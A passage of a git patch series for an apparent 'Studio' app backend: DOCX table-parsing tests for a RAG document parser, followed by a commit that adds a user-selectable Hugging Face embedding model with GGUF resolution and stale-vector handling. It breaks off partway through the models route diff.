+        if isinstance(block, Paragraph):
+            if block.text.strip():
+                lines.append(block.text)
+        elif isinstance(block, Table):
+            lines.extend(_docx_table_rows(block))
+    return [_page("\n".join(lines), None)]
 
 
 def parse(path: str, *, want_images: bool = False):
diff --git a/studio/backend/tests/test_rag_parsing.py b/studio/backend/tests/test_rag_parsing.py
index 4c46f49495..14ab0efe2e 100644
--- a/studio/backend/tests/test_rag_parsing.py
+++ b/studio/backend/tests/test_rag_parsing.py
@@ -86,3 +86,212 @@ def test_pdf_markdown_falls_back_when_lib_missing(tmp_path, monkeypatch):
     _table_pdf(pdf)
     pages = parsers.parse(str(pdf))
     assert pages and "Quarter" in pages[0].text
+
+
+def _long_text_pdf(path):
+    import pymupdf
+
+    doc = pymupdf.open()
+    page = doc.new_page()
+    body = "The quick brown fox jumps over the lazy dog. " * 12  # >200 letters
+    page.insert_textbox(pymupdf.Rect(40, 40, 550, 750), body, fontsize = 11)
+    doc.save(str(path))
+    doc.close()
+
+
+def test_pdf_markdown_corruption_falls_back_to_plain(tmp_path, monkeypatch):
+    # pymupdf4llm can emit shaped RTL Presentation Forms for Arabic/Hebrew; the parser
+    # detects that and uses PyMuPDF's logical-order text instead of the mangled Markdown.
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", True)
+    shaped = "".join(chr(c) for c in range(0xFE8D, 0xFEA0)) * 20  # heavy shaped forms
+    monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: [shaped] * doc.page_count)
+    pdf = tmp_path / "table.pdf"
+    _table_pdf(pdf)
+    text = "\n".join(p.text for p in parsers.parse(str(pdf)))
+    assert "Quarter" in text  # real logical-order text recovered
+    assert not parsers._markdown_corrupted(text)  # shaped garbage not carried through
+
+
+def test_pdf_markdown_incomplete_falls_back_to_plain(tmp_path, monkeypatch):
+    # If pymupdf4llm silently drops most of a page, the parser prefers the fuller raw layer.
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", True)
+    monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: ["x"] * doc.page_count)
+    pdf = tmp_path / "long.pdf"
+    _long_text_pdf(pdf)
+    text = "\n".join(p.text for p in parsers.parse(str(pdf)))
+    assert "quick brown fox" in text  # fuller raw layer used, not the near-empty Markdown
+
+
+def _docx_with_table(path):
+    import docx
+
+    document = docx.Document()
+    document.add_paragraph("Intro before table.")
+    table = document.add_table(rows = 2, cols = 2)
+    table.cell(0, 0).text = "NAME"
+    table.cell(0, 1).text = "SCORE"
+    table.cell(1, 0).text = "Alice"
+    table.cell(1, 1).text = "97pts"
+    document.add_paragraph("Outro after table.")
+    document.save(str(path))
+
+
+def test_docx_extracts_table_cells(tmp_path):
+    # document.paragraphs alone drops tables; the parser walks body content in order so
+    # table cells survive (pipe-joined, which the preview locator anchors on).
+    pytest.importorskip("docx")
+    from core.rag import parsers
+
+    docx_path = tmp_path / "t.docx"
+    _docx_with_table(docx_path)
+    text = "\n".join(p.text for p in parsers.parse(str(docx_path)))
+    assert all(v in text for v in ("NAME", "SCORE", "Alice", "97pts"))  # cells kept
+    assert "Alice | 97pts" in text  # row cells joined
+    assert text.index("Intro") < text.index("NAME") < text.index("Outro")  # order kept
+
+
+def test_docx_table_keeps_columns_and_collapses_cell_newlines(tmp_path):
+    # Empty cells are kept (so columns stay aligned across rows) and a cell's internal
+    # newlines are collapsed to spaces (so a multi-paragraph cell can't break the row).
+    pytest.importorskip("docx")
+    import docx
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    table = document.add_table(rows = 2, cols = 3)
+    table.cell(0, 0).text = "A"
+    table.cell(0, 1).text = ""  # empty middle cell
+    table.cell(0, 2).text = "C"
+    multiline = table.cell(1, 0)
+    multiline.text = "line1"
+    multiline.add_paragraph("line2")  # cell now holds an internal newline
+    table.cell(1, 1).text = "mid"
+    table.cell(1, 2).text = "end"
+    path = tmp_path / "aligned.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert "A |  | C" in text  # empty cell preserved -> columns line up
+    assert "line1 line2 | mid | end" in text  # internal newline collapsed to a space
+
+
+def test_docx_table_merged_cell_keeps_grid_alignment(tmp_path):
+    # A horizontally merged cell repeats across the spanned columns: emit its text once
+    # then a placeholder, so the row keeps as many fields as its siblings (columns stay
+    # aligned) without duplicating the merged text.
+    pytest.importorskip("docx")
+    import docx
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    table = document.add_table(rows = 2, cols = 3)
+    table.cell(0, 0).text = "WIDE"
+    table.cell(0, 2).text = "END"
+    table.cell(0, 0).merge(table.cell(0, 1))  # span the first two columns
+    table.cell(1, 0).text = "a"
+    table.cell(1, 1).text = "b"
+    table.cell(1, 2).text = "c"
+    path = tmp_path / "merged.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert text.count("WIDE") == 1  # merged cell not duplicated across spanned columns
+    assert "WIDE |  | END" in text  # placeholder keeps 3 fields, aligned with "a | b | c"
+    assert "a | b | c" in text
+
+
+def test_docx_table_pads_omitted_grid_columns(tmp_path):
+    # A row that skips leading grid columns exposes the gap via grid_cols_before; pad it
+    # with empty fields so the value stays under the right header instead of shifting left.
+    pytest.importorskip("docx")
+    import docx
+    from docx.oxml.ns import qn
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    table = document.add_table(rows = 2, cols = 3)
+    table.cell(0, 0).text = "H1"
+    table.cell(0, 1).text = "H2"
+    table.cell(0, 2).text = "H3"
+    tr = table.rows[1]._tr  # drop the first cell and mark it skipped via <w:gridBefore>
+    tr.remove(tr.tc_lst[0])
+    trPr = tr.get_or_add_trPr()
+    trPr.insert(0, trPr.makeelement(qn("w:gridBefore"), {qn("w:val"): "1"}))
+    table.rows[1].cells[0].text = "X"  # sits in column 2
+    path = tmp_path / "gap.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert " | X | " in text  # leading gap padded so X lines up under H2, not H1
+
+
+def test_docx_flattens_nested_table(tmp_path):
+    # cell.text ignores tables nested inside a cell; walk cell.tables so nested rows are
+    # not silently dropped from the indexed text.
+    pytest.importorskip("docx")
+    import docx
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    outer = document.add_table(rows = 1, cols = 1).cell(0, 0)
+    outer.text = "outer"
+    nested = outer.add_table(rows = 1, cols = 2)
+    nested.cell(0, 0).text = "NESTED-A"
+    nested.cell(0, 1).text = "NESTED-B"
+    path = tmp_path / "nested.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert "NESTED-A | NESTED-B" in text  # nested table flattened, not dropped
+
+
+def test_docx_nested_table_keeps_in_cell_order(tmp_path):
+    # A cell holding paragraph, nested table, paragraph must serialize in that order
+    # (cell.text alone would emit both paragraphs before the nested rows).
+    pytest.importorskip("docx")
+    import docx
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    cell = document.add_table(rows = 1, cols = 1).cell(0, 0)
+    cell.text = "before"
+    nested = cell.add_table(rows = 1, cols = 2)
+    nested.cell(0, 0).text = "NESTED-A"
+    nested.cell(0, 1).text = "NESTED-B"
+    cell.add_paragraph("after")
+    path = tmp_path / "nested_order.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert text.index("before") < text.index("NESTED-A") < text.index("after")
+
+
+def test_docx_table_vertical_merge_emitted_once(tmp_path):
+    # A vertically merged cell maps every continuation row back to the origin <w:tc>;
+    # emit it once and leave placeholders below so a row-spanning label isn't repeated.
+    pytest.importorskip("docx")
+    import docx
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    table = document.add_table(rows = 3, cols = 2)
+    table.cell(0, 0).merge(table.cell(1, 0)).merge(table.cell(2, 0)).text = "SECTION"
+    table.cell(0, 1).text = "r0"
+    table.cell(1, 1).text = "r1"
+    table.cell(2, 1).text = "r2"
+    path = tmp_path / "vmerge.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert text.count("SECTION") == 1  # not repeated on each spanned row
+    assert "SECTION | r0" in text and " | r1" in text and " | r2" in text

From 4f24b12cc933db37457a9630d4db4fd799af5a13 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Thu, 2 Jul 2026 05:26:33 -0700
Subject: [PATCH 176/306] Studio: customizable RAG embedding model with HF
 search, settings tab reorganization (#6800)

* Add customizable RAG embedding model setting and reorganize settings tabs

Chat with files, project sources, and knowledge bases previously always
embedded with unsloth/bge-small-en-v1.5. This adds a Settings option to
pick any Hugging Face embedding model (or local path), with HF search
autocomplete, server-side verification that the repo is actually an
embedding model, and a save anyway escape hatch for offline or local
models. The setting persists in app_settings and applies at runtime to
both the sentence-transformers and llama-server GGUF embedder backends
without a restart.

Also reorganizes the General settings tab: Documents & RAG sits above
Uploads, Helper LLM moved above the danger zone, and Model auto-switch
(OpenAI API) moved to the bottom of the API tab.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Support local model paths on the GGUF embedder and normalize default saves

Found by simulation testing of the embedding model setting:

Local paths saved as the embedding model now work on the llama-server
GGUF backend (the default backend on macOS and CPU). A path to a .gguf
file is used directly and a directory is scanned for a variant-matching
non-mmproj .gguf, with a clear error when none exists. Previously a
local path was sent to the HF hub API and failed with a repo lookup
error.

Saving the default model explicitly no longer stores an override, so
is_custom stays false and the UI does not show a reset button for the
default value.

* Address review: stale-vector handling, GGUF derivation, save-time guards

Review follow-ups, each verified by new tests:

Re-uploading a document after an embedding model change now re-indexes
instead of deduping by content hash. Documents record the embedder that
produced their vectors (lazy embedding_model column, NULL legacy rows
keep deduping) and a mismatch replaces the old document.

A vector width change no longer bricks the dense index. ensure_vec
drops and recreates chunks_vec when the dim changes (old vectors are in
a foreign space and only block inserts) and search_dense returns empty
on a width mismatch instead of surfacing a vec0 error, so lexical
search keeps working until documents are re-uploaded.

Saving a local sentence-transformers folder with no .gguf now returns
409 with a clear message when the install embeds via llama-server,
instead of failing at first index. force still saves.

A custom RAG_EMBEDDING_MODEL env without RAG_EMBED_GGUF_REPO now
derives the -GGUF companion repo instead of silently keeping the bge
GGUF on CPU and macOS installs.

The resolved GGUF path is tagged with the repo captured at entry, so a
setting change during a download cannot mark the old model as current.

GGUF repo detection matches gguf as a whole name segment rather than a
substring, hf_token is trimmed before verification, and the settings
combobox drops a redundant state mirror of its controlled value.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Shrink embedding model font to 11px in the input and dropdown

The combobox wrapper applies className to the outer input group, so the
size utility must target the inner input element; the previous text-xs
never reached it and the field rendered at the browser default.

* Show curated unsloth embedding models when the search field is empty

The empty-query listing was the global top-downloads page, which holds
no unsloth mirrors for the unsloth-first float to reorder, so the
dropdown opened on third-party models. Match the model picker: curated
unsloth listing when empty, whole-Hub search once a query is typed.

* Address review: settings resilience and index consistency

Keep the last known embedding model on settings store errors, remove the
re-entrant dim lock in the llama-server backend, accept local GGUF saves
and verify GGUF availability for HF repos on that backend, match local
path embedders exactly in model list filters, drop same-width stale
vectors from dense search, pin the embedder per ingestion job, and only
replace completed documents after the re-index succeeds.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Consolidate the GGUF repo derivation tests

* Trim to a single core embedding-model test

* Address review: GGUF repo saves and cache race

Accept a GGUF-named HF repo on the llama-server backend by verifying GGUF
availability instead of the sentence-transformers metadata gate, and guard
the settings cache with a generation counter so a read overlapping a save
cannot repopulate it with the pre-save value.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/rag/config.py             |  41 +++-
 studio/backend/core/rag/embed_llama_server.py | 107 +++++++--
 studio/backend/core/rag/embeddings.py         |   2 +-
 studio/backend/core/rag/ingestion.py          |  45 +++-
 studio/backend/core/rag/retrieval.py          |   8 +-
 studio/backend/core/rag/store.py              |  40 +++-
 studio/backend/routes/models.py               |  39 ++-
 studio/backend/routes/rag.py                  |   2 +-
 studio/backend/routes/settings.py             | 191 ++++++++++++++-
 studio/backend/storage/rag_db.py              |  33 ++-
 .../tests/test_embedding_model_settings.py    |  55 +++++
 .../tests/test_rag_embed_llama_server.py      |   2 +
 .../backend/utils/embedding_model_settings.py | 124 ++++++++++
 .../features/settings/api/embedding-model.ts  |  82 +++++++
 .../components/embedding-model-combobox.tsx   | 134 +++++++++++
 .../features/settings/tabs/api-keys-tab.tsx   |   3 +
 .../features/settings/tabs/general-tab.tsx    | 225 +++++++++++++++---
 studio/frontend/src/i18n/locales/en.ts        |  14 ++
 18 files changed, 1072 insertions(+), 75 deletions(-)
 create mode 100644 studio/backend/tests/test_embedding_model_settings.py
 create mode 100644 studio/backend/utils/embedding_model_settings.py
 create mode 100644 studio/frontend/src/features/settings/api/embedding-model.ts
 create mode 100644 studio/frontend/src/features/settings/components/embedding-model-combobox.tsx

diff --git a/studio/backend/core/rag/config.py b/studio/backend/core/rag/config.py
index 54a224d081..2de32a68e4 100644
--- a/studio/backend/core/rag/config.py
+++ b/studio/backend/core/rag/config.py
@@ -6,8 +6,10 @@
 from __future__ import annotations
 
 import os
+import re
 
-EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", "unsloth/bge-small-en-v1.5")
+DEFAULT_EMBEDDING_MODEL = "unsloth/bge-small-en-v1.5"
+EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", DEFAULT_EMBEDDING_MODEL)
 # Under bge's 512 limit, leaving headroom for the 2 special tokens (else overflow:
 # llama-server 500s, ST truncates). Keep <= embedder_max - ~12.
 CHUNK_TOKENS = int(os.environ.get("RAG_CHUNK_TOKENS", "500"))
@@ -66,6 +68,43 @@ OCR_MAX_TOKENS = int(os.environ.get("RAG_OCR_MAX_TOKENS", "2048"))
 # wins bulk indexing), else torch-free GGUF llama-server. Switching backends changes
 # the vectors, so the index must be rebuilt.
 EMBED_BACKEND = os.environ.get("RAG_EMBED_BACKEND", "auto")
+
+
+def effective_embedding_model() -> str:
+    """The embedding model actually in use: the persisted Settings override when
+    one is stored, else ``EMBEDDING_MODEL`` (env/default). Read at call time so a
+    Settings change applies without a restart."""
+    try:
+        from utils.embedding_model_settings import get_rag_embedding_model
+        return get_rag_embedding_model()
+    except Exception:  # noqa: BLE001 - settings store unavailable (tests, early boot)
+        return EMBEDDING_MODEL
+
+
+def _names_gguf(model: str) -> bool:
+    """True when "gguf" appears as a whole name segment, so plain substrings
+    like "bigguf" don't count."""
+    return "gguf" in re.split(r"[^a-z0-9]+", model.lower())
+
+
+def effective_gguf_repo() -> str:
+    """GGUF repo for the llama-server backend, tracking the effective model.
+
+    An explicit ``RAG_EMBED_GGUF_REPO`` env always wins. Otherwise any custom
+    model (saved in Settings or via ``RAG_EMBEDDING_MODEL``) maps to its
+    ``-GGUF`` companion repo (the unsloth convention the default pair follows),
+    or is used as-is when it already names a GGUF repo.
+    """
+    if "RAG_EMBED_GGUF_REPO" in os.environ:
+        return EMBED_GGUF_REPO
+    model = effective_embedding_model()
+    if model == DEFAULT_EMBEDDING_MODEL:
+        return EMBED_GGUF_REPO
+    if _names_gguf(model):
+        return model
+    return f"{model}-GGUF"
+
+
 # llama-server backend only. F16 over Q8_0: faster (no per-block dequant for this
 # tiny model) and exact vs fp32, for ~30MB more on disk.
 EMBED_GGUF_REPO = os.environ.get("RAG_EMBED_GGUF_REPO", "unsloth/bge-small-en-v1.5-GGUF")
diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py
index f53478463c..46a282c939 100644
--- a/studio/backend/core/rag/embed_llama_server.py
+++ b/studio/backend/core/rag/embed_llama_server.py
@@ -55,9 +55,15 @@ class LlamaServerBackend:
         self._port: int | None = None
         self._stdout_lines: list[str] = []
         self._stdout_thread: threading.Thread | None = None
+        # No lock: probes are idempotent (a duplicate 1-text encode is benign)
+        # and dim() -> encode() -> _ensure_ready() -> _resolve_model_path() can
+        # re-enter on a mid-probe model change, which would self-deadlock a
+        # non-reentrant lock held across the probe.
         self._dim: int | None = None
-        self._dim_lock = threading.Lock()
         self._model_path: str | None = None
+        # Effective GGUF repo the cached path/dim belong to; a Settings change
+        # makes it stale, forcing a re-resolve + respawn (see _ensure_ready).
+        self._model_repo: str | None = None
         self._binary: str | None = None
         # Sticky after an auto GPU start fails: later spawns stay on CPU.
         self._force_cpu = False
@@ -114,24 +120,77 @@ class LlamaServerBackend:
                 "RAG_EMBED_BACKEND=llama-server requires an embeddings-capable build"
             )
 
+    @staticmethod
+    def _resolve_local_gguf(model: str) -> str | None:
+        """A custom model may be a local .gguf file or a directory holding one;
+        resolve it without the hub. None when the value is not a local path."""
+        p = Path(model).expanduser()
+        if p.is_file() and p.suffix.lower() == ".gguf":
+            return str(p)
+        if p.is_dir():
+            files = [
+                f
+                for f in p.iterdir()
+                if f.suffix.lower() == ".gguf" and "mmproj" not in f.name.lower()
+            ]
+            if not files:
+                raise RuntimeError(f"no .gguf file found in local model dir {model!r}")
+            variant = config.EMBED_GGUF_VARIANT.lower()
+            match = [f for f in files if variant in f.name.lower()] or files
+            return str(sorted(match, key = lambda f: len(f.name))[0])
+        return None
+
     def _resolve_model_path(self) -> str:
         """Download (or cache-hit) the variant-matching, non-mmproj GGUF embedder,
-        returning its local path."""
-        if self._model_path is not None:
+        returning its local path. Re-resolves when the effective repo changed (a
+        custom model was saved in Settings)."""
+        # Captured once: if the setting changes mid-download, the path must stay
+        # tagged with the repo it was resolved FOR, so _current() sees the new
+        # setting as stale and respawns instead of serving the old model.
+        desired = config.effective_gguf_repo()
+        if self._model_path is not None and self._model_repo == desired:
+            return self._model_path
+        local = self._resolve_local_gguf(config.effective_embedding_model())
+        if local is not None:
+            self._model_path = local
+            self._model_repo = desired
+            self._dim = None
             return self._model_path
         from huggingface_hub import hf_hub_download, list_repo_files
 
-        repo = config.EMBED_GGUF_REPO
         token = os.environ.get("HF_TOKEN") or None
-        files = [f for f in list_repo_files(repo, token = token) if f.lower().endswith(".gguf")]
-        files = [f for f in files if "mmproj" not in f.lower()]
+        # A custom model derives its "-GGUF" companion repo; when that guess does
+        # not exist, the model repo itself may host the .gguf files.
+        repo = desired
+        candidates = [repo]
+        model = config.effective_embedding_model()
+        if model != repo:
+            candidates.append(model)
+        files: list[str] = []
+        errors: list[str] = []
+        for candidate in candidates:
+            try:
+                files = [
+                    f
+                    for f in list_repo_files(candidate, token = token)
+                    if f.lower().endswith(".gguf") and "mmproj" not in f.lower()
+                ]
+            except Exception as e:  # noqa: BLE001 - missing/gated repo -> next candidate
+                errors.append(f"{candidate!r}: {e}")
+                continue
+            if files:
+                repo = candidate
+                break
+            errors.append(f"{candidate!r}: no .gguf files")
         if not files:
-            raise RuntimeError(f"no .gguf file found in embedder repo {repo!r}")
+            raise RuntimeError("no .gguf embedder found; tried " + "; ".join(errors))
         variant = config.EMBED_GGUF_VARIANT.lower()
         match = [f for f in files if variant in f.lower()] or files
         filename = sorted(match, key = len)[0]
         logger.info("resolving GGUF embedder %s/%s", repo, filename)
         self._model_path = hf_hub_download(repo_id = repo, filename = filename, token = token)
+        self._model_repo = desired
+        self._dim = None
         return self._model_path
 
     # Min free VRAM (MiB) for the embedder; below this, auto stays on CPU.
@@ -316,13 +375,19 @@ class LlamaServerBackend:
     def _process_alive(self) -> bool:
         return self._process is not None and self._process.poll() is None
 
+    def _current(self) -> bool:
+        """Alive AND serving the effective repo (a Settings model change makes a
+        live server stale)."""
+        return self._process_alive() and self._model_repo == config.effective_gguf_repo()
+
     def _ensure_ready(self) -> None:
-        """Guarantee a live server, (re)spawning if needed. Double-checked so the
-        alive path takes no lock; self-heals after the chat reaper kills us."""
-        if self._process_alive():
+        """Guarantee a live server on the effective model, (re)spawning if needed.
+        Double-checked so the current path takes no lock; self-heals after the
+        chat reaper kills us and re-resolves after a Settings model change."""
+        if self._current():
             return
         with self._lifecycle_lock:
-            if self._process_alive():
+            if self._current():
                 return
             self._kill_process()
             self._spawn()
@@ -424,14 +489,18 @@ class LlamaServerBackend:
         return arr
 
     def dim(self, *, model_name = None) -> int:
-        """Embedding width, probed once via a 1-text encode and cached."""
-        if self._dim is not None:
-            return self._dim
-        with self._dim_lock:
-            if self._dim is None:
-                vec = self.encode(["x"], normalize = False)
-                self._dim = int(vec.shape[1])
-        return self._dim
+        """Embedding width, probed via a 1-text encode and cached per model
+        (_resolve_model_path clears it when the effective repo changes).
+        Unlocked: concurrent probes are benign, and locking would deadlock when
+        the probe's encode respawns onto a changed model (see __init__)."""
+        self._ensure_ready()
+        cached = self._dim
+        if cached is not None:
+            return cached
+        vec = self.encode(["x"], normalize = False)
+        width = int(vec.shape[1])
+        self._dim = width
+        return width
 
     def warm(self, *, model_name = None) -> None:
         """Start the server and probe dim off the request path."""
diff --git a/studio/backend/core/rag/embeddings.py b/studio/backend/core/rag/embeddings.py
index 4c8d690302..345b4dd853 100644
--- a/studio/backend/core/rag/embeddings.py
+++ b/studio/backend/core/rag/embeddings.py
@@ -67,7 +67,7 @@ def _get(model_name: str | None = None):
     """Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16
     for a ~1.5x speedup at negligible accuracy loss."""
     global _model, _name
-    name = model_name or config.EMBEDDING_MODEL
+    name = model_name or config.effective_embedding_model()
     with _lock:
         if _model is None or _name != name:
             _install_torchao_stub_once()
diff --git a/studio/backend/core/rag/ingestion.py b/studio/backend/core/rag/ingestion.py
index 04365ab76b..cba076f1be 100644
--- a/studio/backend/core/rag/ingestion.py
+++ b/studio/backend/core/rag/ingestion.py
@@ -151,6 +151,19 @@ def _ocr_scanned_pages(
     return out, ocred
 
 
+def _replace_old_document(conn, replaces: tuple[str, str | None] | None, keep_path: str) -> None:
+    """Drop the document this ingestion replaced (stale embedder / empty prior
+    ingest), called only after the replacement completed successfully."""
+    if replaces is None:
+        return
+    old_id, old_path = replaces
+    try:
+        store.delete_document(conn, old_id)
+        _remove_upload(old_path, keep_path = keep_path)
+    except Exception:  # noqa: BLE001 - the new document is already live
+        logger.warning("failed to remove replaced document %s", old_id, exc_info = True)
+
+
 def _run(
     job_id: str,
     document_id: str,
@@ -159,6 +172,7 @@ def _run(
     model_name: str | None,
     ocr: bool | None = None,
     caption: bool | None = None,
+    replaces: tuple[str, str | None] | None = None,
 ) -> None:
     conn = rag_db.get_connection()
     try:
@@ -213,6 +227,7 @@ def _run(
         )
         if not chunks:
             store.set_document_status(conn, document_id, "completed", num_chunks = 0)
+            _replace_old_document(conn, replaces, stored_path)
             _set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0)
             _emit(job_id, {"type": "complete", "num_chunks": 0})
             return
@@ -233,6 +248,7 @@ def _run(
         _progress(conn, job_id, "storing", 0.9)
         store.add_chunks(conn, scope, document_id, chunks, vectors, regions)
         store.set_document_status(conn, document_id, "completed", num_chunks = len(chunks))
+        _replace_old_document(conn, replaces, stored_path)
 
         _set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0)
         _emit(job_id, {"type": "complete", "num_chunks": len(chunks)})
@@ -274,17 +290,32 @@ def start_ingestion(
     sha = _sha256_file(stored_path)
     conn = rag_db.get_connection()
     try:
+        effective_model = model_name or config.effective_embedding_model()
+        # (old_document_id, old_stored_path) replaced by this upload; deleted by
+        # the worker only after the replacement completes, so a failed re-index
+        # never destroys the still-searchable original.
+        replaces: tuple[str, str | None] | None = None
         existing = store.document_by_hash(conn, scope, sha)
         if existing is not None:
             doc = store.get_document(conn, existing)
             empty_completed = (
                 doc is not None and doc.get("status") == "completed" and not doc.get("num_chunks")
             )
-            if empty_completed:
+            # Vectors from a different embedder are stale; re-uploading must
+            # re-index, not dedupe. NULL (legacy rows) is assumed current. Only
+            # completed rows are replaceable: a pending/running duplicate has a
+            # live worker whose writes must not land on a deleted document.
+            stale_model = (
+                doc is not None
+                and doc.get("status") == "completed"
+                and doc.get("embedding_model") is not None
+                and doc.get("embedding_model") != effective_model
+            )
+            if empty_completed or stale_model:
                 # A prior ingest of identical bytes yielded zero chunks (e.g. a scanned
-                # PDF uploaded before a vision model loaded). Re-ingest, don't dedupe.
-                store.delete_document(conn, existing)
-                _remove_upload(doc.get("stored_path"), keep_path = stored_path)
+                # PDF uploaded before a vision model loaded), or was embedded with a
+                # different model. Re-ingest, don't dedupe.
+                replaces = (existing, doc.get("stored_path"))
             else:
                 job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0)
                 _remove_upload(stored_path)
@@ -310,6 +341,7 @@ def start_ingestion(
             project_id = project_id,
             status = "pending",
             stored_path = stored_path,
+            embedding_model = effective_model,
         )
         job_id = _new_job(conn, document_id, scope)
     finally:
@@ -319,7 +351,10 @@ def start_ingestion(
         _jobs[job_id] = queue.Queue()
     threading.Thread(
         target = _run,
-        args = (job_id, document_id, scope, stored_path, model_name, ocr, caption),
+        # effective_model (not the raw model_name) pins the embedder for the
+        # whole job: a Settings change mid-ingestion must not switch tokenizer
+        # or embedder between batches of one document.
+        args = (job_id, document_id, scope, stored_path, effective_model, ocr, caption, replaces),
         daemon = True,
     ).start()
     return document_id, job_id
diff --git a/studio/backend/core/rag/retrieval.py b/studio/backend/core/rag/retrieval.py
index fe6a033a52..6f933e089e 100644
--- a/studio/backend/core/rag/retrieval.py
+++ b/studio/backend/core/rag/retrieval.py
@@ -39,8 +39,12 @@ def retrieve_dense(
     model_name: str | None = None,
 ) -> list[Hit]:
     k = k or config.TOP_K_DENSE
-    vec = embeddings.encode([query], model_name = model_name, normalize = True)[0]
-    return [Hit(cid, s, dense_score = s) for cid, s in store.search_dense(conn, scope, vec, k)]
+    effective = model_name or config.effective_embedding_model()
+    vec = embeddings.encode([query], model_name = effective, normalize = True)[0]
+    return [
+        Hit(cid, s, dense_score = s)
+        for cid, s in store.search_dense(conn, scope, vec, k, embedding_model = effective)
+    ]
 
 
 def _rrf(rankings: list[list[Hit]], rrf_k: int, top_k: int) -> list[Hit]:
diff --git a/studio/backend/core/rag/store.py b/studio/backend/core/rag/store.py
index 8e59c5fbf6..f9128d1715 100644
--- a/studio/backend/core/rag/store.py
+++ b/studio/backend/core/rag/store.py
@@ -109,11 +109,12 @@ def create_document(
     status: str = "pending",
     stored_path: str | None = None,
     document_id: str | None = None,
+    embedding_model: str | None = None,
 ) -> str:
     document_id = document_id or str(uuid.uuid4())
     conn.execute(
         "INSERT INTO documents(id, scope, kb_id, thread_id, project_id, filename, sha256, "
-        "status, stored_path, created_at) VALUES(?,?,?,?,?,?,?,?,?,?)",
+        "status, stored_path, created_at, embedding_model) VALUES(?,?,?,?,?,?,?,?,?,?,?)",
         (
             document_id,
             scope,
@@ -125,6 +126,7 @@ def create_document(
             status,
             stored_path,
             _now(),
+            embedding_model,
         ),
     )
     conn.commit()
@@ -261,20 +263,50 @@ def search_lexical(conn: sqlite3.Connection, scope, query: str, k: int):
     return [(r["chunk_id"], -r["s"]) for r in rows]
 
 
-def search_dense(conn: sqlite3.Connection, scope, vector, k: int):
+def search_dense(
+    conn: sqlite3.Connection,
+    scope,
+    vector,
+    k: int,
+    *,
+    embedding_model: str | None = None,
+):
     """Cosine KNN over vec0 for one scope or several. Returns
     [(chunk_id, 1 - distance)]. vec0 KNN constrains its partition key by
-    equality, so multi-scope runs one query per scope and merges by score."""
+    equality, so multi-scope runs one query per scope and merges by score.
+    ``embedding_model`` drops hits from documents indexed under a different
+    (same-width) model, whose vectors live in another space; NULL-model legacy
+    documents are assumed current, matching the ingestion dedupe rule."""
     if not rag_db.vec_table_exists(conn):
         return []
+    dim = rag_db.vec_table_dim(conn)
+    if dim is not None and dim != len(vector):
+        # Embedding model switched widths and nothing re-indexed yet; the stale
+        # table cannot answer new-model queries (vec0 errors on the MATCH).
+        return []
+    # Over-fetch when filtering so stale-model hits don't starve the top-k.
+    fetch = k * 3 if embedding_model else k
     out: list[tuple[str, float]] = []
     for s in _scopes(scope):
         rows = conn.execute(
             "SELECT chunk_id, distance FROM chunks_vec "
             "WHERE scope=? AND embedding MATCH ? ORDER BY distance LIMIT ?",
-            (s, _f32(vector), k),
+            (s, _f32(vector), fetch),
         ).fetchall()
         out.extend((r["chunk_id"], 1.0 - r["distance"]) for r in rows)
+    if embedding_model and out:
+        ids = [cid for cid, _ in out]
+        placeholders = ",".join("?" * len(ids))
+        valid = {
+            r["id"]
+            for r in conn.execute(
+                f"SELECT c.id FROM chunks c JOIN documents d ON d.id=c.document_id "
+                f"WHERE c.id IN ({placeholders}) "
+                f"AND (d.embedding_model IS NULL OR d.embedding_model=?)",
+                (*ids, embedding_model),
+            ).fetchall()
+        }
+        out = [t for t in out if t[0] in valid]
     out.sort(key = lambda t: t[1], reverse = True)
     return out[:k]
 
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index 7c75e85227..1501868860 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -7,6 +7,7 @@ import asyncio
 import hashlib
 import json
 import os
+import re
 import shutil
 import sys
 import uuid
@@ -58,25 +59,51 @@ def _safe_is_dir(path) -> bool:
         return False
 
 
+# Hub repo id shape ("owner/name", no leading separator); anything else is
+# treated as a local filesystem path.
+_HF_REPO_ID_RE = re.compile(r"^[A-Za-z0-9][\w.\-]*/[\w.\-]+$")
+
+
 def _is_hidden_model(*values: str | None) -> bool:
     """True if any id/path is the RAG embedding model (EMBEDDING_MODEL or
     EMBED_GGUF_REPO basename) or the llama.cpp install validation probe
     (ggml-org/models / stories260K), so pickers hide them (GGUF and non-GGUF).
     None are usable chat models; the probe can be cached as a side effect of
